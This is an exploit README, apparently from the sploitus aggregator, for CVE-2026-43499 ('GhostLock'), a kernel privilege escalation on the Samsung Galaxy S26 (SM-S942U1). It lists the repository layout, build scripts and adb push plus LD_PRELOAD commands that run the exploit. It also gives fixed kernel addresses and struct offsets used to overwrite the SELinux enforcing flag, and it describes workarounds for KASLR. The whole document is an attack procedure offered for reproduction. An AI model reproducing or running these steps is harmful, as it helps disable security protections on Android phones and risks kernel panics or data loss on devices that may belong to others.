## https://sploitus.com/exploit?id=88E0D605-5AE6-5E32-8DEE-885166001743
# S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 β Achieved SELinux Permissive
Research on CVE-2026-43499 (GhostLock), a privilege escalation vulnerability targeting the Samsung Galaxy S26 (SM-S942U1, codename `m1q`, SoC SM8850 Snapdragon 8 Elite Gen2, kernel 6.12.30-android16-5, Android 16). ## Summary of Status
| Target | Status |
|---|---|
| **SELinux enforce 1β0 (Permissive)** | β
**Achieved** (approx. 44% success rate) |
| Stable park | β
Remained stable for several minutes |
| uid=0 Full Root + KernelSU | β Limited by kernel-level boundaries (see below) |
## Root Cause (The real culprit that caused previous failures)
1. **The American version uses KASLR, not nokaslr**. The `slide` variable is randomly set each time it starts (observed values: 0x30000/0x50000/0x130000/0x150000β¦). The original polygraphene/CyberMeowfia code hardcodes `slide=0` for all addresses, resulting in incorrect values. **Fix**: Migrated the tracefs KASLR detection from m3q-azf1 (`slideTracefs.c`). 2. **The American version of GhostLock only supports writing βNULLβ**. The `target.h` notes clearly: STORE (rb_right writes non-NULL) is βKP's off-pageβ, shape0 (rb_left) is βKPs on AZF1β; only EMERALD_NULL (rb writes NULL) works. SELinux allows writing βNULL 0 to enforcingβ, thus achieving success. ## π Hard Technical Boundaries for uid=0
Polygrapheneβs uid=0 approach relies on writing CAN_MERGE(0x10) (non-NULL) to pipe_buffer flags. The American version (MTE + KDP) only supports writing NULL; writing non-NULL values **certainly causes kernel panic** (observed 4/4 KP cases). This cannot be fixed through parameter tuningβa new read/write primitive that can write non-NULL values is required (the m3q author also confirmed in README: βSoft-root still requires info leak + cred finishβ). ## Directory Structure
```
βββ README.md # This file
βββ docs/
β βββ M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md # Complete diagnosis, root cause, and boundaries
βββ m3q-azf1/ # m3q tree (reference implementation for SELinux park)
β βββ generate_target.py # Tool for automatically generating target.h
β βββ build_m1q.bat # NDK r29 build script (American version of target)
β βββ target.h # American version of target (P0=0xc7800000, N1b=0)
β βββ preload-4-s1.so # Achieved SELinux Permissive version (111KB)
βββ polygraphene/ # polygraphene tree (uid=0 full process + KASLR fix)
β βββ src/slideTracefs.c # KASLR detection (core fix)
β βββ src/main.c # Adding KASLR calls for tracefs
β βββ src/Util.c # SELinux NULL write + empty pi_waiters
β βββ src/fops.c # fd_set layout
```
β βββ targets/m1q-S942U1UES4AZG3/target.h # US version of the target
β βββ build_r29.bat # Build script
β βββ preload.so # SELinux single-process enabled version (162KB)
βββ auto-run.ps1 # Automated retry script (includes root detection)
βββ kallsyms/ # US version of the kernel symbol table
βββ kallsyms.txt # 128307 symbols (5.7MB)
```
## Reproduction: Achieving SELinux Permissive
### Prerequisites
- Device: SM-S942U1, S942U1UES4AZG3, USB debugging
- Host: Windows, adb, Android NDK r29
### Method A: Polygraphene tree (single-process, with uid=0 process)
```powershell
# Build (already includes tracefs KASLR fixes)
cd polygraphene
cmd /c build_r29.bat
# Push and run
adb push build/m1q-S942U1UES4AZG3/bin/preload.so /data/local/tmp/preload.so
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# Observe logs; after SELinux is successful, getenforce β Permissive
```
### Method B: m3q tree (for SELinux park use only)
```powershell
cd m3q-azf1
cmd /c build_m1q.bat
adb push source/build/bin/preload-4-s1.so /data/local/tmp/preload-4-s1.so
adb shell "LD_PRELOAD=/data/local/tmp/preload-4-s1.so /system/bin/true"
# Success indicator: slide-kaslr-ok + S1_READY + getenforce β Permissive
```
## Key parameters (Authoritatively confirmed; do not modify)
| Parameter | Value | Source |
|---|---|---|
| `P0_KERNEL_PHYS_LOAD` | 0xc7800000 | generate_target.py from xbl_config (authoritatively confirmed) |
| `PSELECT_WAITER_WORD_SHIFT` | 2 | Kernel disassembly: derive_pselect_layout |
| `SELINUX_ENFORCING` | 0xffffffc0827afb08 | kallsyms |
| `task_struct.prio` | 0x94 | BTF (value for 6.12; not 0x84 for 6.6) |
| `task_struct.cred` | 0x900 | BTF |
| mm_struct objsize | 1280 (0x500) | /proc/slabinfo |
## Risks (Read carefully)
- **Frequent kernel panics** (About 44% success rate per write primitive; other KP processes restart)
- Delayed KP (May still experience KP after parking)
- Risk of safe-mode-only boot/factory-reset
- **Only for devices owned by the user**; experimental exploit
## Thanks
- polygraphene/CyberMeowfia (S26 dirty-pipe port)
- Bugel/cve-2026-43499-m3q-azf1 (Reference for m3q; tracefs KASLR + I4 emerald/M1Q shape)
- PeronGH/ghostlock-selinux-disabler (Full version of JoinChangβs single-write extraction; reference for shape)
- NebuSec (Vulnerability discovery/principle)
- JoinChang/ghostlock-oneplus (Original exploit)